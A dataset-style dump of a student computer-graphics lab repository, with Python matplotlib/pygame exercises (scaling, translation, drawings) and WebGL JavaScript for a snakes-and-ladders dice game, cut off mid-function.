plt.ylabel('USD')\n plt.legend(loc='upper left', fontsize=8)\n plt.show()\n\n plt.plot(train_data[(len(self.timeseries) - 130):(len(self.timeseries) - len(fc_series))], label='Training')\n plt.plot(test_data, color='blue', label='Actual Stock Price')\n plt.plot(fc_series, color='orange', label='Predicted Stock Price')\n plt.title(self.title + ' Stock Price Prediction')\n plt.xlabel('Business Days Since 11 Oct 2010')\n plt.ylabel('USD')\n plt.legend(loc='upper left', fontsize=8)\n plt.show()"
}
] | 2 |
manasakandimalla/ICG-Lab | https://github.com/manasakandimalla/ICG-Lab | 980be1c69ffd51c2dae9ac8a48f3e57e8d9eeb61 | 7517b515725c8b826bcb2360ef75493ea3809465 | 25fd51da013eb3fb99c8a295182e382ce50e6329 | refs/heads/master | 2020-04-08T23:25:39.979891 | 2018-11-30T13:42:04 | 2018-11-30T13:42:04 | 159,823,965 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.581850528717041,
"alphanum_fraction": 0.628113865852356,
"avg_line_length": 19.035715103149414,
"blob_id": "722b6d649147a687a35da0a7db71fad8cc7464ef",
"content_id": "ae722bb87b8ae12169667c1a4f9404e116fc7585",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 562,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 28,
"path": "/Lab_5/rectscale.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\ndef drawrect(x,y,w,h):\n\tx0,y0 = [x,x+w,x+w,x,x],[y,y,y+h,y+h,y]\n\tplt.plot(x0,y0,marker = 'o')\n\t\ndef scalerect(x,y,w,h,s):\n\txc = x+w/2.0\n\tyc = y+h/2.0\n\tsx = xc - s*w/2.0\n\tsy = yc - s*h/2.0\n\tdrawrect(sx,sy,w*s,s*h)\n\nprint \"enter the co-ordinates of bottom-left point :\"\nx0 = input()\ny0 = input()\nprint \"enter the width and height of the rectangle :\"\nw = input()\nh = input()\nprint \"enter the scale factor of the ractangle :\"\ns = input()\n\ndrawrect(x0,y0,w,h)\n\nscalerect(x0,y0,w,h,s)\nplt.axis([-10,10,-10,10])\nplt.show()\n\n"
},
{
"alpha_fraction": 0.6261127591133118,
"alphanum_fraction": 0.6617210507392883,
"avg_line_length": 16.6842098236084,
"blob_id": "e4e7696f0a6eb2eeec5a62723bb85bbcc2fd96b6",
"content_id": "01e0ffabbf2d49edbd92eee2d9062844fe6bb6db",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 337,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 19,
"path": "/Lab_5/transition.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\nimport math\n\n\ndef translation(x,y,h,k):\n\tplt.plot(x,y,marker = 'o')\n\tplt.plot(x+h,y+k,marker='o')\n\n\nprint \"enter the co-ordinates of point :\"\nx0 = input()\ny0 = input()\nprint \"enter the co-ordinates of the new origin :\"\nh = input()\nk = input()\n\ntranslation(x0,y0,h,k)\nplt.axis([-10,10,-10,10])\nplt.show()\n\n"
},
{
"alpha_fraction": 0.48573756217956543,
"alphanum_fraction": 0.7011681795120239,
"avg_line_length": 35.81999969482422,
"blob_id": "40e4b4fb8619e55b12312c996fef911807de3ddd",
"content_id": "5a0379f3248ab4148c24ad4dc4deff8abd2176ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3681,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 100,
"path": "/Lab_4/gate.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import pygame\n\npygame.init()\n\nwhite = (255,255,255)\nblack = (0,0,0)\nV = (128,0,255)\nI = (75,0,130)\nB = (0,0,205)\nG = (0,128,0)\nY = (255,255,0)\nO = (255,165,0)\nR = (255,0,0)\n\n(width,height) = (400,265)\n\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('Gate')\nscreen.fill(black)\n\npygame.draw.line(screen,white,(25,225),(375,225),2)\npygame.draw.line(screen,white,(25,75),(375,75),2)\npygame.draw.line(screen,white,(25,225),(25,35),2)\npygame.draw.line(screen,white,(375,35),(375,225),2)\npygame.draw.line(screen,white,(25,35),(375,35),2)\npygame.draw.line(screen,white,(165,225),(165,75),2)\npygame.draw.line(screen,white,(235,225),(235,75),2)\n\npygame.draw.line(screen,white,(50,150),(90,150),2)\npygame.draw.line(screen,white,(50,150),(50,75),2)\npygame.draw.line(screen,white,(90,150),(90,225),2)\npygame.draw.line(screen,white,(80,150),(80,75),2)\npygame.draw.line(screen,white,(90,225),(30,300),2)\npygame.draw.line(screen,white,(90,225),(110,210),2)\npygame.draw.line(screen,white,(90,200),(110,185),2)\npygame.draw.line(screen,white,(110,210),(110,185),2)\npygame.draw.line(screen,white,(90,185),(110,185),2)\n\npygame.draw.line(screen,white,(310,150),(350,150),2)\npygame.draw.line(screen,white,(350,150),(350,75),2)\npygame.draw.line(screen,white,(310,150),(310,225),2)\npygame.draw.line(screen,white,(320,150),(320,75),2)\npygame.draw.line(screen,white,(310,225),(370,300),2)\npygame.draw.line(screen,white,(310,225),(290,210),2)\npygame.draw.line(screen,white,(310,200),(290,185),2)\npygame.draw.line(screen,white,(290,210),(290,185),2)\npygame.draw.line(screen,white,(310,185),(290,185),2)\n\npygame.draw.line(screen,white,(90,165),(165,165),1)\npygame.draw.line(screen,white,(90,170),(165,170),1)\npygame.draw.line(screen,white,(90,175),(165,175),1)\npygame.draw.line(screen,white,(90,180),(165,180),1)\npygame.draw.line(screen,white,(90,185),(165,185),1)\npygame.draw.line(screen,white,(90,190),(165,190),1)\npygame.draw.line(screen,white,(90,195),(165,195),1)\npygame.draw.line(screen,white,(90,200),(165,200),1)\npygame.draw.line(screen,white,(90,205),(165,205),1)\npygame.draw.line(screen,white,(90,210),(165,210),1)\npygame.draw.line(screen,white,(90,215),(165,215),1)\n\npygame.draw.line(screen,white,(310,165),(235,165),1)\npygame.draw.line(screen,white,(310,170),(235,170),1)\npygame.draw.line(screen,white,(310,175),(235,175),1)\npygame.draw.line(screen,white,(310,180),(235,180),1)\npygame.draw.line(screen,white,(310,185),(235,185),1)\npygame.draw.line(screen,white,(310,190),(235,190),1)\npygame.draw.line(screen,white,(310,195),(235,195),1)\npygame.draw.line(screen,white,(310,200),(235,200),1)\npygame.draw.line(screen,white,(310,205),(235,205),1)\npygame.draw.line(screen,white,(310,210),(235,210),1)\npygame.draw.line(screen,white,(310,215),(235,215),1)\n\npygame.draw.line(screen,white,(192,65),(192,45),1)\npygame.draw.line(screen,white,(178,65),(178,45),1)\npygame.draw.line(screen,white,(163,65),(163,45),1)\npygame.draw.line(screen,white,(208,65),(208,45),1)\npygame.draw.line(screen,white,(202,45),(214,45),1)\npygame.draw.line(screen,white,(220,65),(220,45),1)\n\npygame.draw.line(screen,white,(220,45),(225,50),1)\npygame.draw.line(screen,white,(225,50),(227,55),1)\npygame.draw.line(screen,white,(227,55),(225,60),1)\npygame.draw.line(screen,white,(225,60),(220,65),1)\n\npygame.draw.line(screen,white,(237,65),(237,45),1)\npygame.draw.line(screen,white,(249,65),(249,45),1)\npygame.draw.line(screen,white,(243,50),(237,45),1)\npygame.draw.line(screen,white,(243,50),(249,45),1)\n\npygame.draw.circle(screen,white,(200,275),25,2)\n\nrunning = True\n\nwhile running:\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\trunning = False\n\tpygame.display.flip()\n\npygame.quit()"
},
{
"alpha_fraction": 0.6113923788070679,
"alphanum_fraction": 0.6670886278152466,
"avg_line_length": 26.275861740112305,
"blob_id": "1ebe30a89ab02e502b31a9eff03f4c056ed6c3e1",
"content_id": "30dca2a4ca74453b6385a583cd880dd857b872c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 790,
"license_type": "no_license",
"max_line_length": 104,
"num_lines": 29,
"path": "/end_sem_exam/question2.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "# Name - Manasa Kandimalla ; Roll no. - CED15I009\n#Question : Use any language - Paint the whole screen with one color.Change the color once in 3 seconds.\n\nimport pygame as pg\nimport random\n\nif __name__ == '__main__':\n\trunning = True\n\tpg.init()\n\tscreen = pg.display.set_mode((600,400))\n\tscreen_rect = screen.get_rect()\n\tpg.display.set_caption('ICG_Lab_exam-Question(2)')\n\tclock = pg.time.Clock()\n\ttimer = 0\n\tbg = (random.randint(0,255), random.randint(0,255), random.randint(0,255))\n\n\twhile running:\n\t\tscreen.fill(bg)\n\t\tfor event in pg.event.get():\n\t\t\tif event.type == pg.QUIT:\n\t\t\t\trunning = False\n\t\t\t\n\t\tif pg.time.get_ticks()-timer > 3000:\n\t\t\ttimer = pg.time.get_ticks()\n\t\t\tbg = (random.randint(0,255), random.randint(0,255), random.randint(0,255))\n\t\tpg.display.update()\n\t\tclock.tick(60)\n\n# Thank you"
},
{
"alpha_fraction": 0.6621240377426147,
"alphanum_fraction": 0.6839755773544312,
"avg_line_length": 27.373332977294922,
"blob_id": "376637bda5541f4e574cca3ac06ba9b4d76b4e48",
"content_id": "dafb5b8f50d64432b88d2375ea07708367281ba6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 4256,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 150,
"path": "/project/dice.js",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "function drawDice(gl, programInfo, buffers, texture1,texture2,texture3,texture4,texture5,texture6,cubeRotation,deltaTime,[x,y,z]) {\n \n const fieldOfView = 45 * Math.PI / 180; \n const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;\n const zNear = 0.1;\n const zFar = 100.0;\n const projectionMatrix = mat4.create();\n\n mat4.perspective(projectionMatrix,fieldOfView,aspect,zNear,zFar);\n\n\n const modelViewMatrix = mat4.create();\n\n mat4.translate(modelViewMatrix,modelViewMatrix,[-10.0, 0.0, -20.0]); \n mat4.rotate(modelViewMatrix,modelViewMatrix,cubeRotation*6 ,[x,y,z]); \n\n const normalMatrix = mat4.create();\n mat4.invert(normalMatrix, modelViewMatrix);\n mat4.transpose(normalMatrix, normalMatrix);\n\n {\n const numComponents = 3;\n const type = gl.FLOAT;\n const normalize = false;\n const stride = 0;\n const offset = 0;\n gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);\n gl.vertexAttribPointer(\n programInfo.attribLocations.vertexPosition,\n numComponents,\n type,\n normalize,\n stride,\n offset);\n gl.enableVertexAttribArray(\n programInfo.attribLocations.vertexPosition);\n }\n\n {\n const numComponents = 2;\n const type = gl.FLOAT;\n const normalize = false;\n const stride = 0;\n const offset = 0;\n gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);\n gl.vertexAttribPointer(\n programInfo.attribLocations.textureCoord,\n numComponents,\n type,\n normalize,\n stride,\n offset);\n gl.enableVertexAttribArray(\n programInfo.attribLocations.textureCoord);\n }\n\n {\n const numComponents = 3;\n const type = gl.FLOAT;\n const normalize = false;\n const stride = 0;\n const offset = 0;\n gl.bindBuffer(gl.ARRAY_BUFFER, buffers.normal);\n gl.vertexAttribPointer(\n programInfo.attribLocations.vertexNormal,\n numComponents,\n type,\n normalize,\n stride,\n offset);\n gl.enableVertexAttribArray(\n programInfo.attribLocations.vertexNormal);\n }\n gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, buffers.indices);\n\n gl.useProgram(programInfo.program);\n\n gl.uniformMatrix4fv(\n programInfo.uniformLocations.projectionMatrix,\n false,\n projectionMatrix);\n gl.uniformMatrix4fv(\n programInfo.uniformLocations.modelViewMatrix,\n false,\n modelViewMatrix);\n gl.uniformMatrix4fv(\n programInfo.uniformLocations.normalMatrix,\n false,\n normalMatrix);\n\n gl.activeTexture(gl.TEXTURE0);\n gl.bindTexture(gl.TEXTURE_2D, texture1);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 0);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 0;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.activeTexture(gl.TEXTURE1);\n gl.bindTexture(gl.TEXTURE_2D, texture2);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 1);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 12;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.activeTexture(gl.TEXTURE2);\n gl.bindTexture(gl.TEXTURE_2D, texture3);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 2);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 24;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.activeTexture(gl.TEXTURE3);\n gl.bindTexture(gl.TEXTURE_2D, texture4);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 3);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 36;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.activeTexture(gl.TEXTURE4);\n gl.bindTexture(gl.TEXTURE_2D, texture5);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 4);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 48;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n }\n\n gl.activeTexture(gl.TEXTURE5);\n gl.bindTexture(gl.TEXTURE_2D, texture6);\n gl.uniform1i(programInfo.uniformLocations.uSampler, 5);\n {\n const vertexCount = 6;\n const type = gl.UNSIGNED_SHORT;\n const offset = 60;\n gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);\n } \n}\n"
},
{
"alpha_fraction": 0.5296208262443542,
"alphanum_fraction": 0.6931279897689819,
"avg_line_length": 20.66666603088379,
"blob_id": "3808abd940830e2b92e403d612616a61494cf8a5",
"content_id": "64a5c82c5f4074ebbd9b56d8bec6422a40efde48",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 844,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 39,
"path": "/test/rainbow.py",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "import pygame\n\npygame.init()\n\nwhite = (255,255,255)\n\nV = (128,0,255)\nI = (75,0,130)\nB = (0,0,205)\nG = (0,128,0)\nY = (255,255,0)\nO = (255,165,0)\nR = (255,0,0)\n\n(width,height) = (400,300)\n\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('Rainbow')\nscreen.fill(white)\n\npygame.draw.circle(screen,V,(200,150),150)\npygame.draw.circle(screen,I,(200,150),140)\npygame.draw.circle(screen,B,(200,150),130)\npygame.draw.circle(screen,G,(200,150),120)\npygame.draw.circle(screen,Y,(200,150),110)\npygame.draw.circle(screen,O,(200,150),100)\npygame.draw.circle(screen,R,(200,150),90)\npygame.draw.circle(screen,white,(200,150),80)\npygame.draw.rect(screen,white,[0,150,400,150],0)\n\nrunning = True\n\nwhile running:\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\trunning = False\n\tpygame.display.flip()\n\npygame.quit()"
},
{
"alpha_fraction": 0.2721169888973236,
"alphanum_fraction": 0.43610644340515137,
"avg_line_length": 17.45132827758789,
"blob_id": "80f556edd46ce565fb1d794066a8ef5192e2e1af",
"content_id": "6e1f213ce65b81b0f29bc77bb7bbb502d8067523",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 4171,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 226,
"path": "/project/bufferdata.js",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "const NoOfItems = 4;\nconst indices = new Array(NoOfItems);\nconst positions =new Array(NoOfItems);\nconst vertexNormals = new Array(NoOfItems);\nconst textureCoordinates = new Array(NoOfItems);\n\nfunction initBuffers(gl,i) {\n\n const positionBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions[i]), gl.STATIC_DRAW);\n\n\n const normalBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertexNormals[i]),gl.STATIC_DRAW);\n\n const textureCoordBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates[i]),gl.STATIC_DRAW);\n\n\n const indexBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indexBuffer);\n gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, new Uint16Array(indices[i]), gl.STATIC_DRAW);\n\n return {\n position: positionBuffer,\n normal: normalBuffer,\n textureCoord: textureCoordBuffer,\n indices: indexBuffer,\n };\n}\n\nindices[0] = [ 0, 1, 2, 0, 2, 3, ];\n\npositions[0] = [\n -10.0, -10.0, -1.0,\n -10.0, 10.0, -1.0,\n 10.0, 10.0, -1.0,\n 10.0, -10.0, -1.0,\n];\n\n\n vertexNormals[0] = [\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n];\n\n\ntextureCoordinates[0] = [\n 0.0, 1.0,\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n];\n\nindices[1] = [ 0, 1, 2, 0, 2, 3, ];\n\npositions[1] = [\n -0.4, -0.4, -1.0,\n -0.4, 0.4, -1.0,\n 0.4, 0.4, -1.0,\n 0.4, -0.4, -1.0,\n];\n\n\n vertexNormals[1] = [\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n];\n\n\ntextureCoordinates[1] = [\n 0.0, 1.0,\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n];\n\nindices[2] = [\n 0, 1, 2, 0, 2, 3, // front\n 4, 5, 6, 4, 6, 7, // back\n 8, 9, 10, 8, 10, 11, // top\n 12, 13, 14, 12, 14, 15, // bottom\n 16, 17, 18, 16, 18, 19, // right\n 20, 21, 22, 20, 22, 23, // left\n ];\n\n vertexNormals[2] = [\n // Front\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n\n // Back\n 0.0, 0.0, -1.0,\n 0.0, 0.0, -1.0,\n 0.0, 0.0, -1.0,\n 0.0, 0.0, -1.0,\n\n // Top\n 0.0, 1.0, 0.0,\n 0.0, 1.0, 0.0,\n 0.0, 1.0, 0.0,\n 0.0, 1.0, 0.0,\n\n // Bottom\n 0.0, -1.0, 0.0,\n 0.0, -1.0, 0.0,\n 0.0, -1.0, 0.0,\n 0.0, -1.0, 0.0,\n\n // Right\n 1.0, 0.0, 0.0,\n 1.0, 0.0, 0.0,\n 1.0, 0.0, 0.0,\n 1.0, 0.0, 0.0,\n\n // Left\n -1.0, 0.0, 0.0,\n -1.0, 0.0, 0.0,\n -1.0, 0.0, 0.0,\n -1.0, 0.0, 0.0\n ];\n\n positions[2] = [\n // Front face\n -1.0, -1.0, 1.0,\n 1.0, -1.0, 1.0,\n 1.0, 1.0, 1.0,\n -1.0, 1.0, 1.0,\n\n // Back face\n -1.0, -1.0, -1.0,\n -1.0, 1.0, -1.0,\n 1.0, 1.0, -1.0,\n 1.0, -1.0, -1.0,\n\n // Top face\n -1.0, 1.0, -1.0,\n -1.0, 1.0, 1.0,\n 1.0, 1.0, 1.0,\n 1.0, 1.0, -1.0,\n\n // Bottom face\n -1.0, -1.0, -1.0,\n 1.0, -1.0, -1.0,\n 1.0, -1.0, 1.0,\n -1.0, -1.0, 1.0,\n\n // Right face\n 1.0, -1.0, -1.0,\n 1.0, 1.0, -1.0,\n 1.0, 1.0, 1.0,\n 1.0, -1.0, 1.0,\n\n // Left face\n -1.0, -1.0, -1.0,\n -1.0, -1.0, 1.0,\n -1.0, 1.0, 1.0,\n -1.0, 1.0, -1.0,\n ];\n\n textureCoordinates[2] = [\n // Front\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n // Back\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n // Top\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n // Bottom\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n // Right\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n // Left\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n 0.0, 1.0,\n ];\n\nindices[3] = [ 0, 1, 2, 0, 2, 3, ];\n\npositions[3] = [\n -1.0, -1.0, -1.0,\n -1.0, 1.0, -1.0,\n 1.0, 1.0, -1.0,\n 1.0, -1.0, -1.0,\n];\n\n\n vertexNormals[3] = [\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n 0.0, 0.0, 1.0,\n];\n\n\ntextureCoordinates[3] = [\n 0.0, 1.0,\n 0.0, 0.0,\n 1.0, 0.0,\n 1.0, 1.0,\n];\n\n"
},
{
"alpha_fraction": 0.4972626268863678,
"alphanum_fraction": 0.5619332790374756,
"avg_line_length": 27.717445373535156,
"blob_id": "ce6e9c7066f6dea9d5478efe117877e5ce795fc6",
"content_id": "b0c17595a1a0b5f919de71e27bbf137b4a9c0c06",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 11690,
"license_type": "no_license",
"max_line_length": 140,
"num_lines": 407,
"path": "/project/trial.js",
"repo_name": "manasakandimalla/ICG-Lab",
"src_encoding": "UTF-8",
"text": "\nvar posx1=9,posx2=9,posy1=8.6,posy2=8.6,winner;\nvar x1=9,x2=9,y1=8.6,y2=8.6;\nvar player1=0,player2=0;\nvar finish=0,turn=1,updated=1;\nvar bonus = new Array(101).fill(0);\n\nbonus[2] = 38;\nbonus[4] = 14;\nbonus[9] = 31;\nbonus[33] = 85;\nbonus[51] = 11;\nbonus[52] = 88;\nbonus[56] = 15;\nbonus[62] = 57;\nbonus[80] = 99;\nbonus[92] = 53;\nbonus[98] = 8;\n \nvar then = 0,dice;\nvar ro = new Array(3);\nro[0] = [1,0,0];\nro[1] = [0,1,0];\nro[2] = [0,0,1];\n\nfunction halt()\n{\n var temp = 2000000000;\n while(temp > 0)\n temp -= 1;\n}\n\nfunction get_position(num){\n var coord = new Float32Array(2);\n var position = new Float32Array(10);\n\n positionx = [ 8.0 , 6.0 , 4.2 , 2.5 , 1.2 , -1.2 , -2.5 , -4.2 , -6.0 , -8.0 ];\n positiony = [ 8.6 , 6.8 , 5.0 , 3.2 , 1.2 , -1.2 , -3.2 , -5.0 , -6.8 , -8.6 ];\n\n y = Math.floor((num-1)/10);\n x = (num-1)%10;\n\n coord[1] = positiony[y];\n\n if(y%2 == 0)\n coord[0] = positionx[x];\n else coord[0] = positionx[9-x];\n \n return coord;\n}\n\nfunction play_turn(i,dice){\n \n var re = new Array(3);\n\n halt();\n\n if(i == 1)\n {\n re[2] = 2;\n if(player1+dice > 100)\n dice = 0;\n if(player1 == 94 && dice == 6)\n dice = 0;\n player1 = player1+dice;\n if(player1 == 100)\n {\n console.log(\"game finish!!!!!!!!! won by 1\");\n finish = 1;\n winner = 1;\n }\n if(dice == 6)\n re[2] = 1;\n [re[0],re[1]]=get_position(player1);\n }\n else if(i == 2)\n {\n re[2] = 1;\n if(player2+dice > 100)\n dice = 0;\n if(player2 == 94 && dice == 6)\n dice = 0;\n player2 = player2+dice;\n if(player2 == 100)\n {\n console.log(\"game finish!!!!!!!!! won by 2\");\n finish = 1;\n winner = 2;\n }\n if(dice == 6)\n re[2] = 2;\n [re[0],re[1]]=get_position(player2);\n }\n return re;\n}\n\nmain();\n\nfunction main() {\n const canvas = document.querySelector('#glcanvas');\n const gl = canvas.getContext('webgl');\n\n\n if (!gl) {\n alert('Unable to initialize WebGL. Your browser or machine may not support it.');\n return;\n }\n\n const vsSource = `\n attribute vec4 aVertexPosition;\n attribute vec3 aVertexNormal;\n attribute vec2 aTextureCoord;\n\n uniform mat4 uNormalMatrix;\n uniform mat4 uModelViewMatrix;\n uniform mat4 uProjectionMatrix;\n\n varying highp vec2 vTextureCoord;\n varying highp vec3 vLighting;\n\n void main(void) {\n gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;\n vTextureCoord = aTextureCoord;\n\n // Apply lighting effect\n\n highp vec3 ambientLight = vec3(0.3, 0.3, 0.3);\n highp vec3 directionalLightColor = vec3(1, 1, 1);\n highp vec3 directionalVector = normalize(vec3(0.85, 0.8, 0.75));\n\n highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);\n\n highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);\n vLighting = vec3(1.0,1.0,1.0);\n }\n `;\n\n\n const fsSource = `\n varying highp vec2 vTextureCoord;\n varying highp vec3 vLighting;\n\n uniform sampler2D uSampler;\n\n void main(void) {\n highp vec4 texelColor = texture2D(uSampler, vTextureCoord);\n\n gl_FragColor = vec4(texelColor.rgb*vLighting, texelColor.a);\n }\n `;\n\n const shaderProgram = initShaderProgram(gl, vsSource, fsSource);\n const programInfo = {\n program: shaderProgram,\n attribLocations: {\n vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),\n vertexNormal: gl.getAttribLocation(shaderProgram, 'aVertexNormal'),\n textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),\n },\n uniformLocations: {\n projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),\n modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),\n normalMatrix: gl.getUniformLocation(shaderProgram, 'uNormalMatrix'),\n uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),\n },\n };\n\n const background_buffer = initBuffers(gl,0);\n const background_texture = loadImageTexture(gl,\"sal.jpg\");\n\n const player1_buffer = initBuffers(gl,1);\n const player1_texture = loadImageTexture(gl,\"player1.jpg\");\n\n const player2_buffer = initBuffers(gl,1);\n const player2_texture = loadImageTexture(gl,\"player2.jpeg\");\n\n const player1_buf = initBuffers(gl,3);\n\n const player2_buf = initBuffers(gl,3);\n\n const texture1 = loadImageTexture(gl, 'trial1.png');\n const texture6 = loadImageTexture(gl, 'trial2.png');\n const texture3 = loadImageTexture(gl, 'trial3.png');\n const texture4 = loadImageTexture(gl, 'trial4.png');\n const texture5 = loadImageTexture(gl, 'trial5.png');\n const texture2 = loadImageTexture(gl, 'trial6.png');\n\n var textures = new Array(6);\n var texture=texture1,turn0,play_dice=0,danim=1,texture0;\n textures[0] = texture1;textures[1] = texture6;textures[2] = texture3;textures[3] = texture4;textures[4] = texture5;textures[5] = texture2;\n var cubeRotation = 0.0,scene=0,temp = Math.floor(Math.random()*3);\n\n const buffers = initBuffers(gl,2);\n\n function roll_die()\n {\n var number = Math.floor(Math.random()*6)+1;\n texture = textures[number-1];\n if (number == 3)\n texture0 = texture[2];\n else \n texture0 = textures[Math.abs(5-number)];\n return number;\n }\n\n function render(now) {\n\n //check if game finish and if not play respective turn and in that turn if in update mode or no,if in update mode move to position.\n \n if( finish == 0 && turn == 1)\n {\n background(gl, programInfo, background_buffer, background_texture,[0,0,-20]);\n player_piece1(gl, programInfo, player1_buffer, player1_texture,posx1,posy1);\n player_piece2(gl, programInfo, player2_buffer, player2_texture,posx2,posy2); \n player(gl, programInfo, player1_buf, player1_texture);\n if (updated == 1 && play_dice == 0 && danim == 1)\n {\n dice = roll_die();\n [x1,y1,turn0]=play_turn(1,dice);\n play_dice = 1;\n danim = 0;\n updated = 0;\n }\n if(play_dice ==1 && danim == 0 && updated ==0)\n {\n if(scene <= 10)\n {\n const deltaTime = (now - then)/1000;\n then = now;\n drawDice(gl, programInfo, buffers, texture1,texture2,texture3,texture4,texture5,texture6,cubeRotation,deltaTime,ro[temp]);\n cubeRotation += deltaTime;\n if(cubeRotation > 0.3)\n {\n cubeRotation = 0.0;\n temp = Math.floor(Math.random()*3);\n scene = scene + 1;\n }\n }\n else\n {\n drawDice(gl,programInfo, buffers,texture,texture0,texture0,texture0,texture0,texture0,0,0,ro[2]);\n danim = 1;\n cubeRotation = 0.0;\n scene = 0;\n }\n }\n \n if((Math.abs(posx1-x1)>= 0.05 || Math.abs(posy1-y1)>=0.05) && updated == 0 && danim == 1) \n {\n drawDice(gl,programInfo, buffers,texture,texture0,texture0,texture0,texture0,texture0,0,0,ro[2]);\n if(Math.abs(posx1-x1)>= 0.05)\n {\n if(posx1 < x1)\n posx1 = posx1 + 0.05;\n else posx1 = posx1 - 0.05;\n }\n else if(Math.abs(posy1-y1)>=0.05)\n {\n if(posy1 < y1)\n posy1 = posy1 + 0.05;\n else posy1 = posy1 - 0.05;\n }\n }\n if(Math.abs(posx1-x1)< 0.05 && Math.abs(posy1-y1)<0.05 && danim == 1 && updated == 0)\n {\n drawDice(gl,programInfo, buffers,texture,texture0,texture0,texture0,texture0,texture0,0,0,ro[2]);\n if(bonus[player1] != 0)\n {\n halt();\n player1 = bonus[player1];\n [x1,y1] = get_position(player1);\n }\n else\n {\n turn = turn0;\n 